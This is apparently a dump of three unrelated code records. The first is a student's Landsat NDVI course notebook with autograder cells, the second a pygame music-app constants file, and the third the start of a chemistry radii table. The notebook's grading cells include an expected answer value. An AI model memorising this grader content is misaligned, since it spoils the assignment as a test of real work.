dataArray\n        Landsat 8 band consolidated dataArray\n\n    crop_boundary : shapefile dataArray\n\n    Returns\n    -------\n    Cloud free and cropped dataArray\n\n    \"\"\"\n    # Read the quality flags file\n    qa_xr = (rxr.open_rasterio(qa_file, masked=True)\n             .rio.clip(crop_boundary.geometry, from_disk=True)\n             .squeeze())\n\n    # Create cloud mask using earthpy mask package for Landsat imagery\n    high_cloud_confidence = (\n        em.pixel_flags[\"pixel_qa\"][\"L8\"][\"High Cloud Confidence\"])\n    cloud = em.pixel_flags[\"pixel_qa\"][\"L8\"][\"Cloud\"]\n    cloud_shadow = em.pixel_flags[\"pixel_qa\"][\"L8\"][\"Cloud Shadow\"]\n\n    # Add up all the mask values\n    all_masked_values = cloud_shadow + cloud + high_cloud_confidence\n\n    # Apply the masking to the data xarray\n    data_cld_free_xr = data_xr.where(~qa_xr.isin(all_masked_values))\n\n    return data_cld_free_xr\n\n\n# ### Function 5 - Calculate NDVI and return the mean\n\n# In[11]:\n\n\ndef calc_mean_ndvi(data_xr):\n    \"\"\"Calculates the NDVI and returns the mean\n\n    Reference: https://stackoverflow.com/questions/49867345/\n    how-to-deal-with-inf-values-when-computting-the-average-of-values-of-a-list-in-p\n\n    Parameters\n    ----------\n    data_xr : dataArray\n        The Landsat data\n\n    Returns\n    -------\n    float : numpy\n        The mean NDVI\n    \"\"\"\n    ndvi_xr = es.normalized_diff(data_xr[3], data_xr[2])\n\n    # Calculating my own NDVI\n    # ndvi_xr = (data_xr[3] - data_xr[2]) / (data_xr[3] + data_xr[2])\n    # ndvi_clean = ndvi_xr.where(np.isfinite(ndvi_xr.values))\n\n    # Replace dataArray NAN with numpy NAN\n    ndvi_mean = ndvi_xr.mean()\n    if np.isfinite(ndvi_mean):\n        result = float(ndvi_mean)\n    else:\n        result = np.nan\n\n    return result\n\n\n# ## Start of the main code - where the magic happens \n# ### Calculate mean NDVI from Landsat 8 for a single date\n# \n# - Create dataframe of mean NDVI in this cell using the functions created above\n# - Important: to use the ungraded tests below as a sanity check, name your columns: mean_ndvi and site\n# - Call the dataframe at the end of the cell so the tests run on it!\n# - Be sure that the date column is an index of type date\n# - HINT: the time series lessons may help you remember how to do this!\n# \n# \n\n# In[12]:\n\n\nbase_path = os.path.join('ndvi-automation',\n                         'sites')\nlandsat_path = os.path.join(base_path,\n                            'HARV',\n                            'landsat-crop',\n                            'LC080130302017031701T1-SC20181023151837')\nlandsat_bufferfile = os.path.join(base_path,\n                                  'HARV',\n                                  'vector',\n                                  'HARV-crop.shp')\n\n# Read shapefile\nlandsat_buffer_shp = gpd.read_file(landsat_bufferfile)\n\n# Get the Bands and QA files\nlandsat_bands_files, landsat_qa_file = find_tifs(landsat_path)\n\n# Get the metadata = site name and date\nsite, date = get_site_date(landsat_path)\n\n# Read the Landsat data - consolidate the bands into a single dataArray\n# Crop to the shapefile\nlandsat_xr = landsat_read_rgbbands(landsat_bands_files,\n                                   landsat_buffer_shp)\n\n# Apply cloud mask\nlandsat_cld_free_xr = apply_cloud_mask(landsat_xr,\n                                       landsat_qa_file,\n                                       landsat_buffer_shp)\n\n\n# ### Plot the cloud-free, cropped dataArray as a check \n\n# In[13]:\n\n\nfig, (ax1, ax2) = plt.subplots(nrows=1, ncols=2, figsize=(6, 10))\nep.plot_rgb(landsat_xr.values,\n            rgb=[2, 1, 0],\n            ax=ax1,\n            title='Landsat Original')\n\nep.plot_rgb(landsat_cld_free_xr.values,\n            rgb=[2, 1, 0],\n            ax=ax2,\n            title='Landsat Cloud mask applied')\n# Hmmm doesn't look very different. Onward!\n\n\n# ### Calculate the NDVI from the cloud-free Landsat image\n\n# In[14]:\n\n\nmean_ndvi = calc_mean_ndvi(landsat_cld_free_xr)\n\n# Create a pandas dataFrame\nndvi_df = pd.DataFrame([[date, site, mean_ndvi]],\n                       columns=['Date', 'site', 'mean_ndvi']\n                       ).set_index('Date')\nndvi_df\n\n\n# In[15]:\n\n\n# This cell  is testing your data output above\n\nstudent_ndvi_ts_single_site = _\n\nsingle_scene_points = 0\n\n# Ensure the data is stored in a dataframe.\nif isinstance(student_ndvi_ts_single_site, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    single_scene_points += 1\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_ts_single_site.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    single_scene_points += 2\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_ts_single_site.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    single_scene_points += 2\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Ensure the site name is correct\nif student_ndvi_ts_single_site.site.values[0] == 'HARV':\n    print('\\u2705 You have the correct site name!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct site name.')\n\nif np.allclose(0.281131628228094, student_ndvi_ts_single_site.mean_ndvi.values[0]):\n    print('\\u2705 You have the correct mean NDVI value!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct mean ndvi value.')\n\nprint(\"\\n \\u27A1 You received {} out of 15 points for creating a dataframe.\".format(\n    single_scene_points))\nsingle_scene_points\n\n\n# ## Task 2:\n# \n# In the cell below, process all of the landsat scenes. Create a DataFrame that contains the following \n# information for each scene\n# \n# \n# |   | index  | site  | mean_ndvi  | \n# |---|---|---|---|\n# | Date  |   |   |   |\n# |  2017-01-07  | 0  | SJER  | .4  |  \n# \n# Be sure to call your dataframe at the end of the cell to ensure autograding works.\n# HINT: FOR THIS STEP, leave any rows containing missing values (`NAN`).\n\n# ## Generate mean NDVI  dataFrame for all sites in the `base_path` folder\n# \n# - Important: to use the ungraded tests below as a sanity check, name your columns: mean_ndvi and site\n# - Don't forget to set date as the index and make the values of type datetime\n# \n\n# In[16]:\n\n\n# Create dataframe of NDVI including the cleaning data to deal with clouds\n\n# Get the site names\nsitenames = os.listdir(base_path)\n\n# Initialize the desired variables\ndate = []\nsite = []\nmean_ndvi = []\n\n# Loop over the sites\nfor s in sitenames:\n    # Get the shapefile\n    shapefile = glob(os.path.join(base_path, s, 'vector', '*shp'))[0]\n    print(shapefile)\n\n    # Read shapefile\n    landsat_buffer_shp = gpd.read_file(shapefile)\n\n    # Loop through all the Landsat directories per site\n    for fdir in sorted(glob(os.path.join(base_path, s, 'landsat-crop', '*'))):\n\n        # Get the Bands and QA files per data directory\n        landsat_bands_files, landsat_qa_file = find_tifs(fdir)\n\n        # Get the site name and date\n        site_temp, date_temp = get_site_date(fdir)\n        site.append(site_temp)\n        date.append(date_temp)\n\n        # Read the Landsat data - bands into a single dataArray\n        # Cropped to the shapefile\n        landsat_xr = landsat_read_rgbbands(landsat_bands_files,\n                                           landsat_buffer_shp)\n\n        # Apply cloud mask\n        landsat_cld_free_xr = apply_cloud_mask(landsat_xr,\n                                               landsat_qa_file,\n                                               landsat_buffer_shp)\n\n        # Calculate the mean ndvi\n        mean_ndvi.append(calc_mean_ndvi(landsat_cld_free_xr))\n    pass\npass\n\n\n# ### Create the final mean NDVI dataFrame\n\n# In[17]:\n\n\n# Create a pandas dataFrame via a dictionary\ndict = {'Date': date,\n        'site': site,\n        'mean_ndvi': mean_ndvi}\nndvi_df = pd.DataFrame(dict).set_index('Date')\nndvi_df\n\n\n# In[18]:\n\n\n# Last sanity check before creating your plot (10 points)\n\n# Ensure that you call your dataframe at the bottom of the cell above\n# and that it has columns called: mean_ndvi and site\n\n# Ensure the data is stored in a dataframe.\nstudent_ndvi_df = _\n\ndf_points = 0\n\nif isinstance(student_ndvi_df, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    df_points +=2\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Check that dataframe contains the appropriate number of NAN values\nif student_ndvi_df.mean_ndvi.isna().sum() == 15:\n    print('\\u2705 Correct number of masked data values!')\n    df_points +=2\nelse:\n    print('\\u274C The amount of null data in your dataframe is incorrect.')\n\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_df.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    df_points +=3\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_df.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    df_points +=3\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Output for timer, # DO NOT MODIFY\nend_time = datetime.now()\ntotal_time = end_time - start_time\nprint(\n    \"Your total run time for processing the data was {0}.\".format(total_time))\n\nprint(\"\\n \\u27A1 You received {} out of 10 points for creating a dataframe.\".format(\n    df_points))\n\ndf_points\n\n\n# ## Figure of mean NDVI over the 2 NEON field sites\n\n# In[19]:\n\n\n# Add only the plot code to this cell\n# Ref: https://www.bmc.com/blogs/pandas-nan-missing-data/\n\nfig, ax = plt.subplots(figsize=(12, 6))\n\nfor s, df in ndvi_df.dropna().groupby('site'):\n    ax.plot(df['mean_ndvi'],\n            'o-',\n            label=s)\n\n# Define the date format\ndate_fmt = DateFormatter(\"%b\")\nax.xaxis.set_major_formatter(date_fmt)\n\n# Add labels\ntitle = 'Mean NDVI from Landsat 8 (Cloud-free)\\nMeasurements taken in 2017'\nax.set(title=title,\n       xlabel='Month',\n       ylabel='NDVI')\nax.legend()\n\n### DO NOT REMOVE LINES BELOW ###\nfinal_masked_solution = nb.convert_axes(plt, which_axes=\"current\")\n\n\n# In[20]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# In[21]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# # Question 1 (10 points)\n# \n# Imagine that you are planning NEON\u2019s upcoming flight season to capture remote sensing data in these locations and want to ensure that you fly the area when the vegetation is the most green.\n# \n# When would you recommend the flights take place for each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# NDVI measures the <i>greenness</i> of a terrain where high values (near 1.0) indicate a dense vegetation, i.e. rainforest, and near zero values correspond to the absense of vegetation (Reference: https://earthobservatory.nasa.gov/features/MeasuringVegetation#:~:text=The%20most%20common%20measurement%20is,rainforests%20(0.6%20to%200.8).). Based on the plot above, to capture high vegetation seasons I would fly mid-May through September for HARV domain (essentially the summer months) and March through April over SJER (early spring months).\n\n# # Question 2 (10 points)\n# \n# How could you modify your workflow to look at vegetation changes over time in each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# Well, for one I would use a longer time series because then I can subtract the monthly mean from a monthly climatology, i.e. May 2017 minus (all the Mays for 10 years). I would also add other observations such as soil moisture, temperature, fires, and precipitation that impact vegetation. There may be strong correlations that can explain observed monthly variations in NDVI. Finally, for the dataset given, I can examine CIR imagery which is good for (1) identifying plant species, (2) estimating biomass of vegetation, (3) assessing soil moisture. Reference: https://www.mngeo.state.mn.us/chouse/airphoto/cir.html\n\n# # Do not edit this cell! (10 points)\n# \n# The notebook includes:\n# * additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Do not edit this cell! (20 points)\n# \n# The notebook will also be checked for overall clean code requirements as specified at the **top** of this notebook. Some of these requirements include (review the top cells for more specifics): \n# \n# * Notebook begins at cell [1] and runs on any machine in its entirety.\n# * PEP 8 format is applied throughout (including lengths of comment and code lines).\n# * No additional code or imports in the notebook that is not needed for the workflow.\n# * Notebook is fully reproducible. This means:\n#    * reproducible paths using the os module.\n#    * data downloaded using code in the notebook.\n#    * all imports at top of notebook.\n\n# ## Complete Bonus - Export to a CSV file\n# \n# #### Initially, I exported to the outputs/ folder in the ndvi-automation/ data folder but this file has to also be saved to my assignment folder so I can upload to the github repo.\n\n# In[22]:\n\n\n# This path is specific to my assignment repo so I can add it to gitHub\n# output_path = os.path.join(et.io.HOME,\n#                            'earth-analytics',\n#                            'ea-2022-04-ndvi-automation-jacquiewitte')\n\n# This path is reproducible\noutput_path = os.path.join('ndvi-automation',\n                           'outputs')\n\n# Converting to CSV file\nndvi_df.to_csv(output_path+'/Landsat8_ndvi_neon2017.csv')\n\n\n# ## BONUS - Export a  .CSV File to Share (10 points possible)\n# \n# This is optional - if you export a **.csv** file with the columns specified above: Site, Date and NDVI Value you can get an additional 10 points.\n# \n# * FULL CREDIT: File exists in csv format and contains the columns specified.\n# We will check your github repo for this file!\n# \n", "meta": {"hexsha": "1a1650d777d61372df95a5ad2060f7d8c9441d08", "size": 30215, "ext": "py", "lang": "Python", "max_stars_repo_path": "witte_jacquelyn_ndvi.py", "max_stars_repo_name": "jacquiewitte/ea-2021-ndvi-automation-review", "max_stars_repo_head_hexsha": "53c3568278b4a2258b6a99e4b1962361a232b2a6", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "witte_jacquelyn_ndvi.py", "max_issues_repo_name": "jacquiewitte/ea-2021-ndvi-automation-review", "max_issues_repo_head_hexsha": "53c3568278b4a2258b6a99e4b1962361a232b2a6", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "witte_jacquelyn_ndvi.py", "max_forks_repo_name": "jacquiewitte/ea-2021-ndvi-automation-review", "max_forks_repo_head_hexsha": "53c3568278b4a2258b6a99e4b1962361a232b2a6", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.6095661846, "max_line_length": 618, "alphanum_fraction": 0.6877709747, "include": true, "reason": "import numpy", "num_tokens": 7609, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3486451217982255, "lm_q2_score": 0.2538610126142736, "lm_q1q2_score": 0.08850740366272426}}
{"text": "import pygame\nimport pygame.image\nimport numpy as np\nfrom math import log\nimport os\n\n\nLAYOUT_DVORAK = True\nFS = 44100\nBUFFER_SIZE = 1024\nBUFFERS_PER_MEASURE = 160\nVISUAL_BUFFER_WIDTH = 1.5\n#SCREEN_DIM = (1800,600)              #Dimensions of the window\nSCREEN_DIM = [1100,600]              #Dimensions of the window\nINSTRUCTIONS_PADDING = 10\nINSTRUCTIONS_BOUNDS_OPEN = [SCREEN_DIM[0] - 750 - INSTRUCTIONS_PADDING, INSTRUCTIONS_PADDING, 750, SCREEN_DIM[1]-2*INSTRUCTIONS_PADDING]\nINSTRUCTIONS_BOUNDS_CLOSED = [SCREEN_DIM[0] - 250 - INSTRUCTIONS_PADDING, INSTRUCTIONS_PADDING, 250, 40]\nMIN_DIM = [640, 600]\nINSTRUCTIONS_START_CLOSED = True\nPITCH_SPEED = .02\nPITCH_RANGE = (-4, 24)\nVOLUME = .005\nARTICULATION_FACTOR = 2.5\nARTICULATION_DECAY = .1\nLOOP_MAX_VOLUME = 10\nCUTOFF = .01\nREVERB = .9\nassert ARTICULATION_DECAY > 0\nassert REVERB < 1\n\ndef update_screen_size(DIM):\n    global SCREEN_DIM, INSTRUCTIONS_BOUNDS_OPEN, INSTRUCTIONS_BOUNDS_CLOSED\n    SCREEN_DIM[:] = DIM\n    INSTRUCTIONS_BOUNDS_OPEN[:] = [SCREEN_DIM[0] - 750 - INSTRUCTIONS_PADDING, INSTRUCTIONS_PADDING, 750, SCREEN_DIM[1]-2*INSTRUCTIONS_PADDING]\n    INSTRUCTIONS_BOUNDS_CLOSED[:] = [SCREEN_DIM[0] - 250 - INSTRUCTIONS_PADDING, INSTRUCTIONS_PADDING, 250, 40]\n\nSCALES = [\n            #list(range(12)),\n            [0,2,4,5,7,9,11],  # A 440 Major\n            [5,7,9,10,0,2,4],  # D\n            [10, 0,2,3,5,7,9], # G\n            [3,5,7,8,10,0,2],  # C\n            [8,10,0,1,3,5,7],  # F\n            [1,3,5,6,8,10,0],  # Bb\n            [6,8,10,11,1,3,5], # Eb\n            [11,1,3,4,6,8,10], # Ab \n            [4,6,8,9,11,1,3],  # Db \n            [9,11,1,2,4,6,8],  # Gb \n            [2,4,6,7,9,11,1],  # B \n            [7,9,11,0,2,4,6],  # E\n        ]\nNOTE_NAMES = ['A','Bb','B','C','Db','D','Eb','E','F','Gb','G','Ab']\n\nCHROMATIC_SCALE = list(range(0,12))\n\nMETRONOME_RELATIVE_VOLUME = 5 ## Relative to VOLUME\nINACTIVE_NOTE_WIDTH = 3\nACTIVE_NOTE_STRETCH = 1600\nLOOP_VISUAL_NOTE_STRETCH = 500\n\nINACTIVE_COLORS = [\n        (64,0,100), #A\n        (70,0,70),\n        (100,0,64),\n        (127,0,0), #C\n        (100,64,0),\n        (70,70,0),\n        (64,100,0), \n        (0,127,0),\n        (0,100,64), #F\n        (0,70,70),\n        (0,64,100),\n        (0,0,127),\n        ]\n\nACTIVE_COLORS = [\n        (c[0]+100, c[1]+100, c[2]+100) for c in INACTIVE_COLORS\n        ]\n\nDARK_COLORS = [\n        (c[0]//4, c[1]//4, c[2]//4) for c in INACTIVE_COLORS\n        ]\n\nSATURATED_COLORS = [\n        (c[0]*2, c[1]*2, c[2]*2) for c in INACTIVE_COLORS\n        ]\n\nINSTRUCTIONS_BACK_COLOR = (50,50,80)\nINSTRUCTIONS_FORE_COLOR = (200,200,255)\nFREE_NOTE_COLOR = (150,150,150)\nACTIVE_LOOP_OUTLINE_COLOR = (255,255,200)\n#LOOP_BACK_COLOR = (50,50,50)\nACTIVE_LOOP_BACK_COLOR = INSTRUCTIONS_BACK_COLOR\nINACTIVE_LOOP_BACK_COLOR = (100,100,110)\nLOOP_RECORDING_BACK_COLOR = (0,0,80)\nLOOP_PITCH_COLOR = (255,0,0)\nLOOP_MUTED_PITCH_COLOR = (255,255,255)\nMETRONOME_ACTIVE_COLOR = (255,255,255)\n#METRONOME_INACTIVE_COLOR = (100,100,100)\nMETRONOME_INACTIVE_COLOR = (80,80,90)\nSCALE_ACTIVE_SEPARATOR_COLOR = (255,255,200) \nSCALE_INACTIVE_SEPARATOR_COLOR = (50,50,50)\n\n\ndef get_color(scale_index, spectrum):\n    scale_index %= 12\n    if scale_index == int(scale_index):\n        return spectrum[int(scale_index)]\n    else:\n        color1 = spectrum[int(scale_index)]\n        color2 = spectrum[int(scale_index+1)%12]\n        weight2 = scale_index % 1\n        weight1 = 1 - weight2\n        r,g,b = (color1[0]*weight1 + color2[0]*weight2, color1[1]*weight1 + color2[1]*weight2, color1[2]*weight1 + color2[2]*weight2)\n        return (int(r), int(g), int(b))\n\n\nACTION_CHANGE_NOTE = 0\nACTION_RELEASE_NOTE = 1\nACTION_ARTICULATE_NOTE = 2\nACTION_STOP_LOOP_REC = 3\nACTION_START_LOOP_REC = 4\nACTION_START_LOOP_PLAY = 5\nACTION_STOP_LOOP_PLAY = 6\n\nNEXT_BUFFER = 100\nNEXT_BEAT = 101\nNEXT_MEASURE = 102\n\nBEGIN_STEP = 200\nEND_STEP = 201\n\n\n\n\nEVENT_CHANGE_NOTE = (ACTION_CHANGE_NOTE, NEXT_BUFFER, BEGIN_STEP)\nEVENT_RELEASE_NOTE = (ACTION_RELEASE_NOTE, NEXT_BUFFER, BEGIN_STEP)\nEVENT_ARTICULATE_NOTE = (ACTION_ARTICULATE_NOTE, NEXT_BUFFER, BEGIN_STEP)\n\nEVENT_START_LOOP_REC = (ACTION_START_LOOP_REC, NEXT_BUFFER, END_STEP)\nEVENT_STOP_LOOP_REC = (ACTION_STOP_LOOP_REC, NEXT_BUFFER, BEGIN_STEP)\nEVENT_START_LOOP_PLAY = (ACTION_START_LOOP_PLAY, NEXT_BUFFER, END_STEP)\nEVENT_STOP_LOOP_PLAY = (ACTION_STOP_LOOP_PLAY, NEXT_BUFFER, BEGIN_STEP)\n\n\nfont=None\ndef init_font():\n    global font\n    font = pygame.font.SysFont(\"Arial\", 20)\n\ndef get_font():\n    return font\n\n#def volume_factor_by_freq(freq):\ndef loud_to_volume(loud, freq):\n    return loud*1000/((freq+5)**.75)\ndef volume_to_loud(volume, freq):\n    return volume * ((freq+5)**.75) / 1000\n\nBEAT_LEN = 30\n\nBACK_COLOR = (20,20,20)\n\n\ndef musical_pitch_to_hertz(mp, justify_by_scale=None):\n    if justify_by_scale == None:\n        ## Use equal temperament that places A4 at 440 hertz\n        return (2**(mp/12)) * 440.0\n    else:\n        ## Use just diatonic scale (notes that give just major triads on I, IV, V) See https://en.wikipedia.org/wiki/Just_intonation#Diatonic_scale\n        p_i = (mp - justify_by_scale) % 12\n        tonic_pitch = mp - p_i\n        tonic_freq = musical_pitch_to_hertz(tonic_pitch, justify_by_scale=None)\n        just_semitone_factor = {0:1, 2:9/8, 4:5/4, 5:4/3, 7:3/2, 9:5/3, 11:15/8}\n        if p_i in just_semitone_factor:\n            return tonic_freq * just_semitone_factor[p_i]\n        else:\n            return musical_pitch_to_hertz(mp, justify_by_scale=None)\n\n'''\nGiven a pitch (integer) and a scale tonic, give the floating point pitch index of where the justified pitch would be in that scale\n'''\ndef pitch_to_just_pitch(pitch, tonic):\n        freq = musical_pitch_to_hertz(pitch, justify_by_scale=tonic)\n        just_pitch = 12 * log(freq/440, 2)\n        return just_pitch\n\ndef sin(freq, sample_count=FS, fs=FS, volume=1, previous_volume=1, percent_through_period=0, overtones=[1]):\n    count = sample_count\n    samples = [\n        (overtones[i] * np.sin(2*np.pi*np.arange(count)*freq*(i+1)/fs + percent_through_period*2*np.pi*(i+1))).astype(np.float32)\n        for i in range(len(overtones))\n        ]\n    new_ptp = (percent_through_period + count*freq/fs) % 1\n    samples = np.sum(samples, axis=0)\n    samples *= np.linspace(previous_volume, volume, num=count)\n    samples = samples.astype(np.float32)\n    return  samples, new_ptp\n\n#MY_OVERTONES = [1, .940, .425, .480, 0, .365, .040, .085, 0, .090]\n#MY_OVERTONES = [1, .50, .425, 0, .4, 0, .040, .085, .05 ]\nMY_OVERTONES = [1, .50, .425, 0, .4, 0, .040]\n\n################\n#INDEX CONSTANTS\nRIGHT   =pygame.K_RIGHT\nDOWN    =pygame.K_DOWN\nLEFT    =pygame.K_LEFT\nUP      =pygame.K_UP\nSPACE      =pygame.K_SPACE\nRETURN  =pygame.K_RETURN\nCTRL    =pygame.KMOD_CTRL\nALT     =pygame.KMOD_ALT\nSHIFT   =pygame.KMOD_SHIFT\nBACKSPACE = pygame.K_BACKSPACE\nDELETE  = pygame.K_DELETE\nESCAPE  = pygame.K_ESCAPE\nEQUALS  = pygame.K_EQUALS\nEQUALS  = pygame.K_EQUALS\nPLUS = pygame.K_PLUS\nKP_PLUS = pygame.K_KP_PLUS\nMINUS   = pygame.K_MINUS\nKP_MINUS = pygame.K_KP_MINUS\nSLASH   = pygame.K_SLASH\nNUMS = [pygame.K_0, pygame.K_1, pygame.K_2, pygame.K_3, pygame.K_4, pygame.K_5, pygame.K_6, pygame.K_7, pygame.K_8, pygame.K_9]\n\ndef is_key_mod(key, mod=None):\n    if mod == None:\n        return keys[key] and pygame.key.get_mods() == 0\n    else:\n        return keys[key] and pygame.key.get_mods() & mod\n\nif not LAYOUT_DVORAK:\n    K_A     =pygame.K_a\n    K_B     =pygame.K_b\n    K_C     =pygame.K_c\n    K_D     =pygame.K_d\n    K_E     =pygame.K_e\n    K_F     =pygame.K_f\n    K_G     =pygame.K_g\n    K_H     =pygame.K_h\n    K_I     =pygame.K_i\n    K_J     =pygame.K_j\n    K_K     =pygame.K_k\n    K_L     =pygame.K_l\n    K_M     =pygame.K_m\n    K_N     =pygame.K_n\n    K_O     =pygame.K_o\n    K_P     =pygame.K_p\n    K_Q     =pygame.K_q\n    K_R     =pygame.K_r\n    K_S     =pygame.K_s\n    K_T     =pygame.K_t\n    K_U     =pygame.K_u\n    K_V     =pygame.K_v\n    K_W     =pygame.K_w\n    K_X     =pygame.K_x\n    K_Y     =pygame.K_y\n    K_Z     =pygame.K_z\nelse:\n    K_A     =pygame.K_a\n    K_B     =pygame.K_x\n    K_C     =pygame.K_j\n    K_D     =pygame.K_e\n    K_E     =pygame.K_PERIOD\n    K_F     =pygame.K_u\n    K_G     =pygame.K_i\n    K_H     =pygame.K_d\n    K_I     =pygame.K_c\n    K_J     =pygame.K_h\n    K_K     =pygame.K_t\n    K_L     =pygame.K_n\n    K_M     =pygame.K_m\n    K_N     =pygame.K_b\n    K_O     =pygame.K_r\n    K_P     =pygame.K_l\n    K_Q     =pygame.K_QUOTE\n    K_R     =pygame.K_p\n    K_S     =pygame.K_o\n    K_T     =pygame.K_y\n    K_U     =pygame.K_g\n    K_V     =pygame.K_k\n    K_W     =pygame.K_COMMA\n    K_X     =pygame.K_q\n    K_Y     =pygame.K_f\n    K_Z     =pygame.K_SEMICOLON\n\n\n\n#Initializations\nkeys=[]\nMOUSEPOS = [-1,-1]\n\n\n", "meta": {"hexsha": "e33939342d3a66b268b6a32bb5e1892cf7204ac6", "size": 8658, "ext": "py", "lang": "Python", "max_stars_repo_path": "constants.py", "max_stars_repo_name": "kenanbit/loopsichord", "max_stars_repo_head_hexsha": "d02e021a68333c52adff38cc869bf217deebfc5c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "constants.py", "max_issues_repo_name": "kenanbit/loopsichord", "max_issues_repo_head_hexsha": "d02e021a68333c52adff38cc869bf217deebfc5c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "constants.py", "max_forks_repo_name": "kenanbit/loopsichord", "max_forks_repo_head_hexsha": "d02e021a68333c52adff38cc869bf217deebfc5c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.3491525424, "max_line_length": 147, "alphanum_fraction": 0.6421806422, "include": true, "reason": "import numpy", "num_tokens": 2880, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290805, "lm_q2_score": 0.17553807793655438, "lm_q1q2_score": 0.08845472063504439}}
{"text": "import os, functools, math, sys, itertools, re, time, threading, xlwt, configparser\nimport numpy as np\nimport tkinter as tk\nfrom xlwt import Workbook\nfrom tkinter import ttk, filedialog, messagebox\n\n#CONSTANTS\n# Data from: Pyykko, P. and Atsumi, M., Chem. Eur. J. 2009, 15, 186.\nelement_radii=[\n    [\"None\",None],['H'   ,  32],['He'  ,  46],['Li'  , 133],['Be'  , 102],['B'   ,  85],['C'   ,  75],\n    ['N'   ,  71],['O'   ,  63],['F'   ,  64],['Ne'  ,  67],['Na'  , 155],['Mg'  , 139],['Al'  , 126],\n\t['Si'  , 116],['P'   , 111],['S'   , 103],['Cl'  ,  99],['Ar'  ,  96],['K'   , 196],['Ca'  , 171],\n\t['Sc'  , 148],['Ti'  , 136],['V'   , 134],['Cr'  , 122],['Mn'  , 119],['Fe'  , 116],['Co'  , 111],\n\t['Ni'  , 110],['Cu'  , 112],['Zn'  , 118],['Ga'  , 124],['Ge'  , 121],['As'  , 121],['Se'  , 116],\n\t['Br'  , 114],['Kr'  , 117],['Rb'  , 210],['Sr'  , 185],['Y'   , 163],['Zr'  , 154],['Nb'  , 147],\n\t['Mo'  , 138],['Tc'  , 128],['Ru'  , 125],['Rh'  , 125],['Pd'  , 120],['Ag'  , 128],['Cd'  , 136],\n    ['In'  , 142],['Sn'  , 140],['Sb'  , 140],['Te'  , 136],['I'   , 133],['Xe'  , 131],['Cs'  , 232],\n\t['Ba'  , 196],['La'  , 180],['Ce'  , 163],['Pr'  , 176],['Nd'  , 174],['Pm'  , 173],['Sm'  , 172],\n\t['Eu'  , 168],['Gd'  , 169],['Tb'  , 168],['Dy'  , 167],['Ho'  , 166],['Er'  , 165],['Tm'  , 164],\n\t['Yb'  , 170],['Lu'  , 162],['Hf'  , 152],['Ta'  , 146],['W'   , 137],['Re'  , 131],['Os'  , 129],\n\t['Ir'  , 122],['Pt'  , 123],['Au'  , 124],['Hg'  , 133],['Tl'  , 144],['Pb'  , 144],['Bi'  , 151],\n\t['Po'  , 145],['At'  , 147],['Rn'  , 142],['Fr'  , 223],['Ra'  , 201],['Ac'  , 186],['Th'  , 175],\n    ['Pa'  , 169],['U'   , 170],['Np'  , 171],['Pu'  , 172],['Am'  , 166],['Cm'  , 166],['Bk'  , 168],\n\t['Cf'  , 168],['Es'  , 165],['Fm'  , 167],['Md'  , 173],['No'  , 176],['Lr'  , 161],['Rf'  , 157],\n\t['Db'  , 149],['Sg'  , 143],['Bh'  , 141],['Hs'  , 134],['Mt'  , 129],['Ds'  , 128],['Rg'  , 121],\n\t['Cn'  , 122],['Nh'  , 136],['Fl'  , 143],['Mc'  , 162],['Lv'  , 175],['Ts'  , 165],['Og'  , 157]]\nelements = tuple(i[0] for i in element_radii)\nkeywords = \\\n    ['1-bromo-2-methylpropane', '1-bromooctane', '1-bromopentane', '1-bromopropane', '1-butanol',\n    '1-chlorohexane', '1-chloropentane', '1-chloropropane', '1-decanol', '1-fluorooctane', '1-heptanol',\n    '1-hexanol', '1-hexene', '1-hexyne', '1-iodobutane', '1-iodohexadecane', '1-iodopentane',\n    '1-iodopropane', '1-nitropropane', '1-nonanol', '1-pentanol', '1-pentene', '1-propanol',\n    '1-trichloroethane', '2-bromopropane', 